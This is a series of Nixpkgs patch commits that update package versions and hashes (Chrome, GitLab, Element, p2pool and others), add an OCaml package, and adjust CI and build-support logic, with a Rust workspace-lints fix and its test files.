(cherry picked from commit 84e25a5a990e0674b34ff7851fa6033bd0034c85)
---
 pkgs/by-name/p2/p2pool/package.nix | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/p2/p2pool/package.nix b/pkgs/by-name/p2/p2pool/package.nix
index a10acdf65546..f2220f8801d5 100644
--- a/pkgs/by-name/p2/p2pool/package.nix
+++ b/pkgs/by-name/p2/p2pool/package.nix
@@ -16,13 +16,13 @@
 
 stdenv.mkDerivation rec {
   pname = "p2pool";
-  version = "4.8";
+  version = "4.8.1";
 
   src = fetchFromGitHub {
     owner = "SChernykh";
     repo = "p2pool";
     rev = "v${version}";
-    hash = "sha256-D1yQMcgRYVZf3/VGCmp6ZGu5YlWUmvlCx3pZqQF7JDM=";
+    hash = "sha256-UnvMR4s6o8n7K+9hig3iSFtbN/BmR6yqjc64X443ctk=";
     fetchSubmodules = true;
   };
 
@@ -58,7 +58,10 @@ stdenv.mkDerivation rec {
     description = "Decentralized pool for Monero mining";
     homepage = "https://github.com/SChernykh/p2pool";
     license = licenses.gpl3Only;
-    maintainers = with maintainers; [ ratsclub ];
+    maintainers = with maintainers; [
+      ratsclub
+      JacoMalan1
+    ];
     mainProgram = "p2pool";
     platforms = platforms.all;
   };

From 9021c5474f94f795b0777ae140180bc6eb379262 Mon Sep 17 00:00:00 2001
From: James Ellis <JamesEllisDev@outlook.com>
Date: Sun, 1 Jun 2025 22:21:44 +0100
Subject: [PATCH 2795/4511] ferdium: update version to 7.1.0 and fix hash
 values

(cherry picked from commit 71674f4e40a66eb1ecc3c776e2906b10db57091d)
---
 .../networking/instant-messengers/ferdium/default.nix       | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/networking/instant-messengers/ferdium/default.nix b/pkgs/applications/networking/instant-messengers/ferdium/default.nix
index 2616621ad27c..2d2ceb4c7798 100644
--- a/pkgs/applications/networking/instant-messengers/ferdium/default.nix
+++ b/pkgs/applications/networking/instant-messengers/ferdium/default.nix
@@ -15,15 +15,15 @@ let
     ."${stdenv.hostPlatform.system}" or (throw "Unsupported system: ${stdenv.hostPlatform.system}");
   hash =
     {
-      amd64-linux_hash = "sha256-e5O8cvQqvymHQiu7kY1AhKfoVOsDLYK8hDX+PKgZPFs=";
-      arm64-linux_hash = "sha256-UskXFGxAFOrAK8bIXRHSwN0G1lakGyuRGXTYYRFKHaw=";
+      amd64-linux_hash = "sha256-84W40++U+5/kTI84vGEqAVb93TCgFPduBkhMQG0yDRo=";
+      arm64-linux_hash = "sha256-lOQW559aXXBIDuindVj8YBB8pzNAJPoTSJ70y1YnZQ4=";
     }
     ."${arch}-linux_hash";
 in
 mkFranzDerivation rec {
   pname = "ferdium";
   name = "Ferdium";
-  version = "7.0.1";
+  version = "7.1.0";
   src = fetchurl {
     url = "https://github.com/ferdium/ferdium-app/releases/download/v${version}/Ferdium-linux-${version}-${arch}.deb";
     inherit hash;

From 1f8969707e928da3d79523c90c877f8963945d0e Mon Sep 17 00:00:00 2001
From: John Titor <50095635+JohnRTitor@users.noreply.github.com>
Date: Wed, 23 Jul 2025 04:53:00 +0000
Subject: [PATCH 2796/4511] google-chrome: 138.0.7204.157 -> 138.0.7204.168

(cherry picked from commit 410f7b1b70a1c12c330451222da4f5d6adc57b9b)
---
 pkgs/by-name/go/google-chrome/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/go/google-chrome/package.nix b/pkgs/by-name/go/google-chrome/package.nix
index 70cf21c06170..655656401dde 100644
--- a/pkgs/by-name/go/google-chrome/package.nix
+++ b/pkgs/by-name/go/google-chrome/package.nix
@@ -171,11 +171,11 @@ let
 
   linux = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "138.0.7204.157";
+    version = "138.0.7204.168";
 
     src = fetchurl {
       url = "https://dl.google.com/linux/chrome/deb/pool/main/g/google-chrome-stable/google-chrome-stable_${finalAttrs.version}-1_amd64.deb";
-      hash = "sha256-QmWevU4cYmUc6lUbFG4bQ1aKFuUyIUorJjMMF14bzZ4=";
+      hash = "sha256-vfMEQOh9VZsLElld8qfeLY9B53z1AqyRTQ/7p2cxHYg=";
     };
 
     # With strictDeps on, some shebangs were not being patched correctly
@@ -276,11 +276,11 @@ let
 
   darwin = stdenvNoCC.mkDerivation (finalAttrs: {
     inherit pname meta passthru;
-    version = "138.0.7204.158";
+    version = "138.0.7204.169";
 
     src = fetchurl {
-      url = "http://dl.google.com/release2/chrome/adskeulizkrq3h2yvus65pybna6a_138.0.7204.158/GoogleChrome-138.0.7204.158.dmg";
-      hash = "sha256-D7Iik+R9PIfvL1QEASfip5M2pE+nco90dKet4Fehq/8=";
+      url = "http://dl.google.com/release2/chrome/acwjggvog6ot2icovazewas35mgq_138.0.7204.169/GoogleChrome-138.0.7204.169.dmg";
+      hash = "sha256-58/hSldBZ3gtzjY0GCt6GkxUX97GORwTh5uEfEjxM3A=";
     };
 
     dontPatch = true;

From 9eef0fc08411103b1c86fea69a12777ede0dd755 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 21 Jul 2025 22:41:12 +0200
Subject: [PATCH 2797/4511] pkgsi686Linux: only throw with aliases enabled

For the regular user, this still throws early whenever an attribute
tries to use `pkgsi686Linux`. For CI, this doesn't throw, but instead
overwrites `mkDerivation` to return only derivations marked as
`meta.broken`. This propagates to all reverse dependencies and allows
filtering out these attributes nicely on unsupported platforms.

(cherry picked from commit eb875b4a98cc48956f84f12e351cf8b6c0ae7f96)
---
 pkgs/top-level/stage.nix | 28 ++++++++++++++++++++++++----
 1 file changed, 24 insertions(+), 4 deletions(-)

diff --git a/pkgs/top-level/stage.nix b/pkgs/top-level/stage.nix
index 3cd2a95f8ff0..d08ae439bd33 100644
--- a/pkgs/top-level/stage.nix
+++ b/pkgs/top-level/stage.nix
@@ -236,12 +236,32 @@ let
     # All packages built for i686 Linux.
     # Used by wine, firefox with debugging version of Flash, ...
     pkgsi686Linux =
-      if stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isx86 then
+      let
+        isSupported = stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isx86;
+      in
+      if !config.allowAliases || isSupported then
         nixpkgsFun {
           overlays = [
-            (self': super': {
-              pkgsi686Linux = super';
-            })
+            (
+              self': super':
+              {
+                pkgsi686Linux = super';
+              }
+              // lib.optionalAttrs (!isSupported) {
+                # Overrides pkgsi686Linux.stdenv.mkDerivation to produce only broken derivations,
+                # when used on a non x86_64-linux platform in CI.
+                # TODO: Remove this, once pkgsi686Linux can become a variant.
+                stdenv = super'.stdenv // {
+                  mkDerivation =
+                    args:
+                    (super'.stdenv.mkDerivation args).overrideAttrs (prevAttrs: {
+                      meta = prevAttrs.meta or { } // {
+                        broken = true;
+                      };
+                    });
+                };
+              }
+            )
           ] ++ overlays;
           ${if stdenv.hostPlatform == stdenv.buildPlatform then "localSystem" else "crossSystem"} = {
             config = lib.systems.parse.tripleFromSystem (

From 2f7fd004e7db3b7be2f5b470cbd43751b2bdc272 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 22 Jul 2025 09:19:23 +0200
Subject: [PATCH 2798/4511] writeReferencesToFile: move throw to aliases

---
 pkgs/build-support/trivial-builders/default.nix | 3 ---
 pkgs/top-level/aliases.nix                      | 1 +
 2 files changed, 1 insertion(+), 3 deletions(-)

diff --git a/pkgs/build-support/trivial-builders/default.nix b/pkgs/build-support/trivial-builders/default.nix
index 8d1f561d6cde..3eac17646251 100644
--- a/pkgs/build-support/trivial-builders/default.nix
+++ b/pkgs/build-support/trivial-builders/default.nix
@@ -780,9 +780,6 @@ rec {
         ''
       );
 
-  # Remove after 25.05 branch-off
-  writeReferencesToFile = throw "writeReferencesToFile has been removed. Use writeClosure instead.";
-
   # Docs in doc/build-helpers/trivial-build-helpers.chapter.md
   # See https://nixos.org/manual/nixpkgs/unstable/#trivial-builder-writeClosure
   writeClosure =
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 37dfb4c2fea8..6687f22fe3da 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -2039,6 +2039,7 @@ mapAliases {
   wrapLisp_old = throw "Lisp packages have been redesigned. See 'lisp-modules' in the nixpkgs manual."; # Added 2024-05-07
   wmii_hg = wmii;
   wrapGAppsHook = wrapGAppsHook3; # Added 2024-03-26
+  writeReferencesToFile = throw "writeReferencesToFile has been removed. Use writeClosure instead."; # Added 2024-11-22
   write_stylus = styluslabs-write-bin; # Added 2024-10-09
   wtf = lib.warnOnInstantiate "'wtf' has been renamed to 'wtfutil'." wtfutil; # Added 2025-03-01
 

From 56bdc5f3f639604fe72d584c90ac3f04d2da69b2 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 21 Jul 2025 19:07:56 +0200
Subject: [PATCH 2799/4511] zenith-nvidia: move assert to meta.platforms check

Using asserts for these kinds of checks breaks CI and requires ugly
workarounds to catch them. Errors reported via `meta.platforms` can be
caught and ignored nicely.

(cherry picked from commit 474afa8ac1825cfa623c76adb01f3ff0464b8ae8)
---
 pkgs/by-name/ze/zenith/package.nix | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/pkgs/by-name/ze/zenith/package.nix b/pkgs/by-name/ze/zenith/package.nix
index a0d8928478b0..fe2e34fbe294 100644
--- a/pkgs/by-name/ze/zenith/package.nix
+++ b/pkgs/by-name/ze/zenith/package.nix
@@ -7,8 +7,6 @@
   makeWrapper,
 }:
 
-assert nvidiaSupport -> stdenv.hostPlatform.isLinux;
-
 rustPlatform.buildRustPackage rec {
   pname = "zenith";
   version = "0.14.1";
@@ -45,6 +43,6 @@ rustPlatform.buildRustPackage rec {
     homepage = "https://github.com/bvaisvil/zenith";
     license = licenses.mit;
     maintainers = with maintainers; [ wegank ];
-    platforms = platforms.unix;
+    platforms = if nvidiaSupport then platforms.linux else platforms.unix;
   };
 }

From fc04efae6514ff19dc8ab299ba4b8d735f4608ef Mon Sep 17 00:00:00 2001
From: Volker Diels-Grabsch <v@njh.eu>
Date: Wed, 23 Jul 2025 02:07:26 +0200
Subject: [PATCH 2800/4511] ocamlPackages.camlgpc: init at 1.2

(cherry picked from commit 8b3896f81da8caed67ec46fbe9155d13ea07df68)
---
 .../ocaml-modules/camlgpc/default.nix         | 36 +++++++++++++++++++
 pkgs/top-level/ocaml-packages.nix             |  2 ++
 2 files changed, 38 insertions(+)
 create mode 100644 pkgs/development/ocaml-modules/camlgpc/default.nix

diff --git a/pkgs/development/ocaml-modules/camlgpc/default.nix b/pkgs/development/ocaml-modules/camlgpc/default.nix
new file mode 100644
index 000000000000..4b201aab71c8
--- /dev/null
+++ b/pkgs/development/ocaml-modules/camlgpc/default.nix
@@ -0,0 +1,36 @@
+{
+  buildDunePackage,
+  fetchFromGitHub,
+  fetchpatch,
+  lib,
+}:
+
+let
+  pname = "camlgpc";
+  version = "1.2";
+in
+buildDunePackage {
+  inherit pname version;
+  src = fetchFromGitHub {
+    owner = "johnwhitington";
+    repo = pname;
+    rev = "v${version}";
+    hash = "sha256-+Dx8BuRlxb8xh41jHskrNcKGV/HgedauLt1vo1tADHw=";
+  };
+  patches = [
+    (fetchpatch {
+      name = "camlgpc-pr-5-switch-to-dune";
+      url = "https://github.com/johnwhitington/camlgpc/pull/5.diff";
+      hash = "sha256-znm+mX60RwYNCYXwm9HYCO8BRbzUM0Bm6dI1f1FzncA=";
+    })
+  ];
+  propagatedBuildInputs = [ ];
+  doCheck = true;
+  checkInputs = [ ];
+  meta = {
+    description = "OCaml interface to Alan Murta's General Polygon Clipper";
+    homepage = "https://github.com/johnwhitington/camlgpc";
+    license = lib.licenses.mit;
+    maintainers = [ lib.maintainers.vog ];
+  };
+}
diff --git a/pkgs/top-level/ocaml-packages.nix b/pkgs/top-level/ocaml-packages.nix
index b4f07524185f..8b631b7cbc5e 100644
--- a/pkgs/top-level/ocaml-packages.nix
+++ b/pkgs/top-level/ocaml-packages.nix
@@ -151,6 +151,8 @@ let
 
         callipyge = callPackage ../development/ocaml-modules/callipyge { };
 
+        camlgpc = callPackage ../development/ocaml-modules/camlgpc { };
+
         camlidl = callPackage ../development/tools/ocaml/camlidl { };
 
         camlimages = callPackage ../development/ocaml-modules/camlimages { };

From 9748878fa6b5af7d9e6be5a88929e49d042e832f Mon Sep 17 00:00:00 2001
From: kiara <cinereal@riseup.net>
Date: Wed, 23 Jul 2025 12:33:21 +0200
Subject: [PATCH 2801/4511] nixos/woodpecker: fix documentation links (#427705)

(cherry picked from commit 103ee4e1cf1704ab949f984bc9fec68fdabfb2bd)
---
 .../services/continuous-integration/woodpecker/agents.nix       | 2 +-
 .../services/continuous-integration/woodpecker/server.nix       | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/nixos/modules/services/continuous-integration/woodpecker/agents.nix b/nixos/modules/services/continuous-integration/woodpecker/agents.nix
index 5d18dd9c2f4b..2d345417e118 100644
--- a/nixos/modules/services/continuous-integration/woodpecker/agents.nix
+++ b/nixos/modules/services/continuous-integration/woodpecker/agents.nix
@@ -24,7 +24,7 @@ let
             DOCKER_HOST = "unix:///run/podman/podman.sock";
           }
         '';
-        description = "woodpecker-agent config environment variables, for other options read the [documentation](https://woodpecker-ci.org/docs/administration/agent-config)";
+        description = "woodpecker-agent config environment variables, for other options read the [documentation](https://woodpecker-ci.org/docs/administration/configuration/agent)";
       };
 
       extraGroups = lib.mkOption {
diff --git a/nixos/modules/services/continuous-integration/woodpecker/server.nix b/nixos/modules/services/continuous-integration/woodpecker/server.nix
index 15d2d703c0d5..5825868e9fe1 100644
--- a/nixos/modules/services/continuous-integration/woodpecker/server.nix
+++ b/nixos/modules/services/continuous-integration/woodpecker/server.nix
@@ -27,7 +27,7 @@ in
             WOODPECKER_GITEA_URL = "https://git.example.com";
           }
         '';
-        description = "woodpecker-server config environment variables, for other options read the [documentation](https://woodpecker-ci.org/docs/administration/server-config)";
+        description = "woodpecker-server config environment variables, for other options read the [documentation](https://woodpecker-ci.org/docs/administration/configuration/server)";
       };
       environmentFile = lib.mkOption {
         type = with lib.types; coercedTo path (f: [ f ]) (listOf path);

From 914f6ff7176a2c1c5c50567c1e7f20331d1d50be Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 23 Jul 2025 05:15:15 +0000
Subject: [PATCH 2802/4511] tokyonight-gtk-theme: 0-unstable-2025-04-24 ->
 0-unstable-2025-07-21

(cherry picked from commit b624555fc633a75c1fa74e1e7b3e79b85d3c4f33)
---
 pkgs/by-name/to/tokyonight-gtk-theme/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/to/tokyonight-gtk-theme/package.nix b/pkgs/by-name/to/tokyonight-gtk-theme/package.nix
index 424272aaab36..c84b969b453a 100644
--- a/pkgs/by-name/to/tokyonight-gtk-theme/package.nix
+++ b/pkgs/by-name/to/tokyonight-gtk-theme/package.nix
@@ -71,13 +71,13 @@ lib.checkListOfEnum "${pname}: colorVariants" colorVariantList colorVariants lib
   stdenvNoCC.mkDerivation
   {
     inherit pname;
-    version = "0-unstable-2025-04-24";
+    version = "0-unstable-2025-07-21";
 
     src = fetchFromGitHub {
       owner = "Fausto-Korpsvart";
       repo = "Tokyonight-GTK-Theme";
-      rev = "006154c78dde52b5851347a7e91f924af62f1b8f";
-      hash = "sha256-h5k9p++zjzxGFkTK/6o/ISl/Litgf6fzy8Jf6Ikt5V8=";
+      rev = "803334a2d85ff60597e1ddd6a593462acc570298";
+      hash = "sha256-aJWyMz1FZnGOH5YXiGa9NBlNY5JRw7J7SWqt5XGKznU=";
     };
 
     propagatedUserEnvPkgs = [ gtk-engine-murrine ];

From 435ad02e46d453680d4c81bbe9cc403dd1f25a3d Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Sat, 19 Jul 2025 09:22:57 +0200
Subject: [PATCH 2803/4511] element-web-unwrapped: 1.11.105 -> 1.11.106

Release notes: https://github.com/element-hq/element-web/releases/tag/v1.11.106
Full changelog: https://github.com/element-hq/element-web/compare/v1.11.105...v1.11.106

(cherry picked from commit 8e5ebb558ce3797baf04edf56fafcbc864550484)
---
 pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix b/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
index b2d9c2ba0ce0..56fdb361db20 100644
--- a/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
+++ b/pkgs/by-name/el/element-web-unwrapped/element-web-pin.nix
@@ -1,7 +1,7 @@
 {
-  "version" = "1.11.105";
+  "version" = "1.11.106";
   "hashes" = {
-    "webSrcHash" = "sha256-IGpSpv1dfOnT6AQGzRYWE/eGW262i7mYGC4DmUnMwlk=";
-    "webYarnHash" = "sha256-cigiAKAJaOSCVaPThGhGi0HZYMZY8i3nnBT5PS7QVNg=";
+    "webSrcHash" = "sha256-1l7A+cpXAsTmNbRZgFevPh7Tr/uMHDJkOCNHoc5lGX8=";
+    "webYarnHash" = "sha256-N+aVIKLqTc9lwATYtoIHl7KGiREtWJdMa8bxEv60LQo=";
   };
 }

From bbb74c791a9ee92d2277a58d2b0793c75ffc81a2 Mon Sep 17 00:00:00 2001
From: transcaffeine <transcaffeine@finally.coffee>
Date: Sat, 19 Jul 2025 09:31:55 +0200
Subject: [PATCH 2804/4511] element-desktop: 1.11.105 -> 1.11.106

Release notes: https://github.com/element-hq/element-desktop/releases/tag/v1.11.106
Full changelog: https://github.com/element-hq/element-desktop/compare/v1.11.105...v1.11.106

(cherry picked from commit b4706ccf5e755dd63c37eb1f4bd50318715bd95f)
---
 pkgs/by-name/el/element-desktop/element-desktop-pin.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/el/element-desktop/element-desktop-pin.nix b/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
index f3884f8c617f..754871a92f37 100644
--- a/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
+++ b/pkgs/by-name/el/element-desktop/element-desktop-pin.nix
@@ -1,7 +1,7 @@
 {
-  "version" = "1.11.105";
+  "version" = "1.11.106";
   "hashes" = {
-    "desktopSrcHash" = "sha256-9btwbHHl1tiUBTMBltNdy8K/PHJOf3HKPWEPyAYz6+s=";
-    "desktopYarnHash" = "sha256-VumuYbbJlJCtmENeR/qHGl9jhF1xgIUib5CW7kGdToo=";
+    "desktopSrcHash" = "sha256-uQUd84MtwMTGhhw83pQk9jI79pNKBVTWJLz8dyT/SE4=";
+    "desktopYarnHash" = "sha256-WZYRPU3ZswAtUAZDJnlELLU1JImO3uFaYHQl+kJOeqk=";
   };
 }

From 5969b650d48695005f3c85e6cb8e66b3c2687e4a Mon Sep 17 00:00:00 2001
From: Jaco Malan <jacomalan.12@gmail.com>
Date: Tue, 22 Jul 2025 10:10:31 +0200
Subject: [PATCH 2805/4511] p2pool: 4.8.1 -> 4.9

(cherry picked from commit 13486fc8d2b2de4cf100b7b6dd189ac6e57154fd)
---
 pkgs/by-name/p2/p2pool/package.nix | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/p2/p2pool/package.nix b/pkgs/by-name/p2/p2pool/package.nix
index f2220f8801d5..05101533cef1 100644
--- a/pkgs/by-name/p2/p2pool/package.nix
+++ b/pkgs/by-name/p2/p2pool/package.nix
@@ -16,13 +16,13 @@
 
 stdenv.mkDerivation rec {
   pname = "p2pool";
-  version = "4.8.1";
+  version = "4.9";
 
   src = fetchFromGitHub {
     owner = "SChernykh";
     repo = "p2pool";
     rev = "v${version}";
-    hash = "sha256-UnvMR4s6o8n7K+9hig3iSFtbN/BmR6yqjc64X443ctk=";
+    hash = "sha256-nFoR5n6vm6Q1UBxX+3U6O6NExcrM1Mab+WjEOgRSKCE=";
     fetchSubmodules = true;
   };
 
@@ -64,5 +64,6 @@ stdenv.mkDerivation rec {
     ];
     mainProgram = "p2pool";
     platforms = platforms.all;
+    broken = stdenv.hostPlatform.isDarwin;
   };
 }

From be05cf6a2ac170027c34bb9278af7716d75e1ed7 Mon Sep 17 00:00:00 2001
From: Patrick Poitras <patrick.f.poitras@gmail.com>
Date: Sun, 1 Jun 2025 20:48:14 -0700
Subject: [PATCH 2806/4511] Add patch that suppresses ctrl-event-signal-change
 messages for wpa_supplicant

(cherry picked from commit 5c14fd3cb4d5e0744c6471c9733e380dd935270a)
---
 pkgs/os-specific/linux/wpa_supplicant/default.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/os-specific/linux/wpa_supplicant/default.nix b/pkgs/os-specific/linux/wpa_supplicant/default.nix
index 75c17d40a0e0..d51c0bb87aed 100644
--- a/pkgs/os-specific/linux/wpa_supplicant/default.nix
+++ b/pkgs/os-specific/linux/wpa_supplicant/default.nix
@@ -34,6 +34,11 @@ stdenv.mkDerivation rec {
       revert = true;
     })
     ./unsurprising-ext-password.patch
+    (fetchpatch {
+      name = "suppress-ctrl-event-signal-change.patch";
+      url = "https://w1.fi/cgit/hostap/patch/?id=c330b5820eefa8e703dbce7278c2a62d9c69166a";
+      hash = "sha256-5ti5OzgnZUFznjU8YH8Cfktrj4YBzsbbrEbNvec+ppQ=";
+    })
   ];
 
   # TODO: Patch epoll so that the dbus actually responds

From 2c14a36e116e37580b592a591153bd5522fe92b7 Mon Sep 17 00:00:00 2001
From: Leona Maroni <dev@leona.is>
Date: Wed, 23 Jul 2025 14:20:43 +0200
Subject: [PATCH 2807/4511] gitlab: 18.2.0 -> 18.2.1

https://about.gitlab.com/releases/2025/07/23/patch-release-gitlab-18-2-1-released/
(cherry picked from commit 6d50ed837c93d5869a11b6399f3c43795d7ac83f)
---
 pkgs/by-name/gi/gitaly/package.nix                  |  4 ++--
 pkgs/by-name/gi/gitlab-pages/package.nix            |  4 ++--
 pkgs/by-name/gi/gitlab/data.json                    | 12 ++++++------
 pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix |  4 ++--
 4 files changed, 12 insertions(+), 12 deletions(-)

diff --git a/pkgs/by-name/gi/gitaly/package.nix b/pkgs/by-name/gi/gitaly/package.nix
index 4d844474cb7d..664edf9b73df 100644
--- a/pkgs/by-name/gi/gitaly/package.nix
+++ b/pkgs/by-name/gi/gitaly/package.nix
@@ -7,7 +7,7 @@
 }:
 
 let
-  version = "18.2.0";
+  version = "18.2.1";
   package_version = "v${lib.versions.major version}";
   gitaly_package = "gitlab.com/gitlab-org/gitaly/${package_version}";
 
@@ -21,7 +21,7 @@ let
       owner = "gitlab-org";
       repo = "gitaly";
       rev = "v${version}";
-      hash = "sha256-e78kokFzVqFGgurlqThxHhfrGiRuZ+XG2g5hRrCuF3Y=";
+      hash = "sha256-h4JklXImKwudJT3pb/UhHwQHKd87c5aSH1xYC0lRWKo=";
     };
 
     vendorHash = "sha256-RjDV4NGmmdT9STQBHiYf3UUYwPmuSg6970/W/ekxin0=";
diff --git a/pkgs/by-name/gi/gitlab-pages/package.nix b/pkgs/by-name/gi/gitlab-pages/package.nix
index 1f1362849977..07985d49cd78 100644
--- a/pkgs/by-name/gi/gitlab-pages/package.nix
+++ b/pkgs/by-name/gi/gitlab-pages/package.nix
@@ -6,14 +6,14 @@
 
 buildGoModule rec {
   pname = "gitlab-pages";
-  version = "18.2.0";
+  version = "18.2.1";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
     owner = "gitlab-org";
     repo = "gitlab-pages";
     rev = "v${version}";
-    hash = "sha256-TcDk816n4483SzTuz5bc8e2efrd2eJdM8jWXpM3DMvY=";
+    hash = "sha256-z1Pl3xeaoqeF/9qOVcuCpuciu1r6NQ4UhlLe9gy9+nE=";
   };
 
   vendorHash = "sha256-OubXCpvGtGqegQmdb6R1zw/0DfQ4FdbJGt7qYYRnWnA=";
diff --git a/pkgs/by-name/gi/gitlab/data.json b/pkgs/by-name/gi/gitlab/data.json
index aa76ef74a44a..c170a0a5d80b 100644
--- a/pkgs/by-name/gi/gitlab/data.json
+++ b/pkgs/by-name/gi/gitlab/data.json
@@ -1,15 +1,15 @@
 {
-  "version": "18.2.0",
-  "repo_hash": "0wkxnhrxq3x2ahbb1hffd2c321mz3y1wi7qh89drg8rn4qgz09cd",
+  "version": "18.2.1",
+  "repo_hash": "1i0y46w18476gn98fmkixdjiyrwajz2347p57dg2ijch4ivzpmlv",
   "yarn_hash": "04mqinnbhr6zgab2p1bq6y6b20bf4c4cynkgfc67mzm9xhybr3fk",
   "owner": "gitlab-org",
   "repo": "gitlab",
-  "rev": "v18.2.0-ee",
+  "rev": "v18.2.1-ee",
   "passthru": {
-    "GITALY_SERVER_VERSION": "18.2.0",
-    "GITLAB_PAGES_VERSION": "18.2.0",
+    "GITALY_SERVER_VERSION": "18.2.1",
+    "GITLAB_PAGES_VERSION": "18.2.1",
     "GITLAB_SHELL_VERSION": "14.43.0",
     "GITLAB_ELASTICSEARCH_INDEXER_VERSION": "5.7.0",
-    "GITLAB_WORKHORSE_VERSION": "18.2.0"
+    "GITLAB_WORKHORSE_VERSION": "18.2.1"
   }
 }
diff --git a/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix b/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
index c8f129daff95..739a24476dec 100644
--- a/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
+++ b/pkgs/by-name/gi/gitlab/gitlab-workhorse/default.nix
@@ -10,7 +10,7 @@ in
 buildGoModule rec {
   pname = "gitlab-workhorse";
 
-  version = "18.2.0";
+  version = "18.2.1";
 
   # nixpkgs-update: no auto update
   src = fetchFromGitLab {
@@ -22,7 +22,7 @@ buildGoModule rec {
 
   sourceRoot = "${src.name}/workhorse";
 
-  vendorHash = "sha256-fJ1QqVn2t591ZQv9ilwgk+sPwNZNy6bHvpdCPs7S0+s=";
+  vendorHash = "sha256-A+hCyi4P0JkBY2NYGWSpMsHjEgD43g9ZlPrxWL9Vx7Q=";
   buildInputs = [ git ];
   ldflags = [ "-X main.Version=${version}" ];
   doCheck = false;

From 69cca83be8df21719e806a75cc91e582edadb7c2 Mon Sep 17 00:00:00 2001
From: Lucio Franco <luciofranco14@gmail.com>
Date: Sun, 18 May 2025 00:24:14 +0200
Subject: [PATCH 2808/4511] replace-workspace-values.py: Update cargo.toml on
 only lints replace

(cherry picked from commit b92da7d1cb35ab020db64eca19ea11a7a1b2ed4d)
---
 .../rust/replace-workspace-values.py              |  1 +
 .../crate_lints.toml                              | 15 +++++++++++++++
 .../default.nix                                   |  4 ++++
 .../want_lints.toml                               | 15 +++++++++++++++
 .../workspace.toml                                |  3 +++
 5 files changed, 38 insertions(+)
 create mode 100644 pkgs/build-support/rust/test/import-cargo-lock/git-dependency-workspace-inheritance/crate_lints.toml
 create mode 100644 pkgs/build-support/rust/test/import-cargo-lock/git-dependency-workspace-inheritance/want_lints.toml

diff --git a/pkgs/build-support/rust/replace-workspace-values.py b/pkgs/build-support/rust/replace-workspace-values.py
index a03bf42eae38..094a8158c4d9 100644
--- a/pkgs/build-support/rust/replace-workspace-values.py
+++ b/pkgs/build-support/rust/replace-workspace-values.py
@@ -117,6 +117,7 @@ def main() -> None:
         and crate_manifest["lints"]["workspace"] is True
     ):
         crate_manifest["lints"] = workspace_manifest["lints"]
+        changed = True
 
     if not changed:
         return
diff --git a/pkgs/build-support/rust/test/import-cargo-lock/git-dependency-workspace-inheritance/crate_lints.toml b/pkgs/build-support/rust/test/import-cargo-lock/git-dependency-workspace-inheritance/crate_lints.toml
new file mode 100644
index 000000000000..f1df81cbf22f
--- /dev/null
+++ b/pkgs/build-support/rust/test/import-cargo-lock/git-dependency-workspace-inheritance/crate_lints.toml
@@ -0,0 +1,15 @@
+[package]
+name = "im_using_workspaces"
+version = { workspace = true }
+publish = false
+keywords = [
+    "workspace",
+    "other_thing",
+    "third_thing",
+]
+
+[lints]
+workspace = true
+
+[dependencies]
+bar = "1.0.0"
diff --git a/pkgs/build-support/rust/test/import-cargo-lock/git-dependency-workspace-inheritance/default.nix b/pkgs/build-support/rust/test/import-cargo-lock/git-dependency-workspace-inheritance/default.nix
index 138b7179b95f..b52026190e29 100644
--- a/pkgs/build-support/rust/test/import-cargo-lock/git-dependency-workspace-inheritance/default.nix
+++ b/pkgs/build-support/rust/test/import-cargo-lock/git-dependency-workspace-inheritance/default.nix
@@ -4,4 +4,8 @@ runCommand "git-dependency-workspace-inheritance-test" { } ''
   cp --no-preserve=mode ${./crate.toml} "$out"
   ${replaceWorkspaceValues} "$out" ${./workspace.toml}
   diff -u "$out" ${./want.toml}
+
+  cp --no-preserve=mode ${./crate_lints.toml} "$out"
+  ${replaceWorkspaceValues} "$out" ${./workspace.toml}
+  diff -u "$out" ${./want_lints.toml}
 ''
diff --git a/pkgs/build-support/rust/test/import-cargo-lock/git-dependency-workspace-inheritance/want_lints.toml b/pkgs/build-support/rust/test/import-cargo-lock/git-dependency-workspace-inheritance/want_lints.toml
new file mode 100644
index 000000000000..59655e6ade05
--- /dev/null
+++ b/pkgs/build-support/rust/test/import-cargo-lock/git-dependency-workspace-inheritance/want_lints.toml
@@ -0,0 +1,15 @@
+[package]
+name = "im_using_workspaces"
+version = "1.0.0"
+publish = false
+keywords = [
+    "workspace",
+    "other_thing",
+    "third_thing",
+]
+
+[lints]
+dbg_macro = "warn"
+
+[dependencies]
